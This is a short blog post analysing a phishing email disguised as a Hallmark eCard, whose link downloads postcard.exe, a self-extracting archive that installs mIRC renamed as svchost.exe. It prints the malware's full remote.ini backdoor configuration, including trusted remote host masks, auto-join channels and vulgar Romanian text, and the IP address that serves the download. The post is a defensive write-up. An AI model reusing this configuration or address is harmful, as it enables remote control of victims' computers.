It appears that someone thinks that I don’t have enough viruses on my system. I received a “Hallmark eCard” (or at least that is what the e-mail said) notification today.

eCard

When I hovered over the “here”, instead of the proper link to the Hallmark’s website, I got a link to download a file called postcard.exe from a specific IP address, 83.143.18.122. Since I did not think that this looked like the kind of activity that Hallmark would do, I decided to investigate.

Looking at the e-mail headers, it was apparent that the e-mail was routed from a 11u11.de domain. A quick search and I sent an e-mail off to the owner of the IP to complain about the e-mail.

postcard.exeWhat was more interesting was the postcard.exe file. I downloaded the program and it was immediately apparent that it was a self executing RAR file.

Warning! I DO NOT recommend that you do this unless you know exactly what you are doing and are working in an isolated environment!

Files

I manually extracted the RAR file using Universal Extractor and got a look at the contents of the file. Here is a list of all the files in the archive:

  • aliases.ini
  • control.ini
  • fullname.txt
  • ident.txt
  • mirc.ico
  • nicks.txt
  • popups.txt
  • remote.ini
  • servers.ini
  • svchost.exe
  • users.ini

svchost.exe was the first file to catch my attention because this is the name of a common Windows file. So, this virus is probably going to attempt to disguise itself as this program. It also caught my eye because of the icon that it had.

So, svchost.exe was actually just a renamed copy of the mIRC chat application. But what in the world would people want to set up a chat program on my computer for? I continued to dig!

In the remote.ini file, I found something interesting. Here is the complete contents of remote.ini:

[users]
n0=100:*!*@66.207.170.2
n1=100:*!*@64.158.77.56
n2=100:*!*@estranho-colo.iquest.net
n3=100:*!*@OMGyouSUCK.users.undernet.org
n4=100:*!*@camikaze.users.undernet.org
n5=100:*!*@marianu1.users.undernet.org
n6=100:*!*@OMGyouSUCK.users.undernet.org
n7=100:*!*@NuVaVreau.users.undernet.org
n8=100:*!*@St33lGirl.users.undernet.org
n8=100:*!*@DauFlood.users.undernet.org
n10=100:*!*@66.207.170.2
n11=100:*!*@asdz.users.undernet.org
n12=100:*!*@lamerzkiller.users.undernet.org

[variables]
n0=%HAck1 #lolmp3fha | #mp3+warez
n1=%console
n2=%utime 1125548122
n3=/away :sã îmi suge-ti cuca !
n4=%ochan #lolmp3fha | #mp3´warez
n5=%reklama Ghici pe cine ai luat cu dinti de putza? ;x
n6=%owner corekt
n7=%flooder corekt

[script]
n1=on 1:connect: {
n2= /join %defchan1
n3= /join #lolmp3fha | /join #mp3+warez
n4= /away %reklama
n5=}

This file gave all of the users under the [users] section elevated privileges on the system. It also automatically connected to several different servers and joined some channels.

While I was not able to completely determine what this would have done due to time constraints, I firmly believe that this would have given certain people the ability to remotely execute some commands on my machine.

What Should You Do?

So, what is the best way to keep yourself safe from these types of problems? Here are a few really quick tips for those of you who may be new to this:

  1. Keep up to date virus signatures.
  2. Keep up to date spyware signatures.
  3. Run a personal firewall that monitors both incoming and outgoing connections to the Internet.
  4. Get to know the type of traffic that comes and goes from your workstation so that when you are alerted by your personal firewall of an outgoing connection, you know what is happening.
  5. Be paranoid of all e-mail that you receive which you did not solicit.
  6. Check out the links in an HTML e-mail prior to clicking on them.
  7. Set up an isolation environment so that you can test anything that is downloaded to your computer.
  8. Thoroughly scan all files that you download from the Internet before executing them.
Similar Posts:

If you found this post useful, why don't you buy me a cup of coffee to show your gratitude?

Trackback link - http://www.dailycupoftech.com/2007/05/29/the-anatomy-of-a-virus/trackback/
Tim Fehlman